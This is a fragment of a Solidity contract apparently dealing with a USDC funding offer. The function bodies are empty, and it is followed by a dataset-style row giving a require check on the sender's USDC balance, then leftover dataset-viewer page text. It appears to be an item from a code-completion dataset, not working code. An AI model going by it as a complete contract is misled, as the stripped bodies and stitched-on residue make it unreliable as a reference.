function isFunded() public view returns (bool) {
}
//View function to see if this offer still holds one USDC
function isFundedOverOne() public view returns (bool) {
}
function mulDiv(
uint256 x,
uint256 y,
uint256 z
) public pure returns (uint256) {
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
}
/**
Additional view functions
*/
function getCurrentBalance() public view returns (uint256) {
}
function totalUSDCWanted() public view returns (uint256) {
}
}
| USDC.balanceOf(msg.sender)>=amountOfUSDC,"Not enough USDC" | 184,895 | USDC.balanceOf(msg.sender)>=amountOfUSDC |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.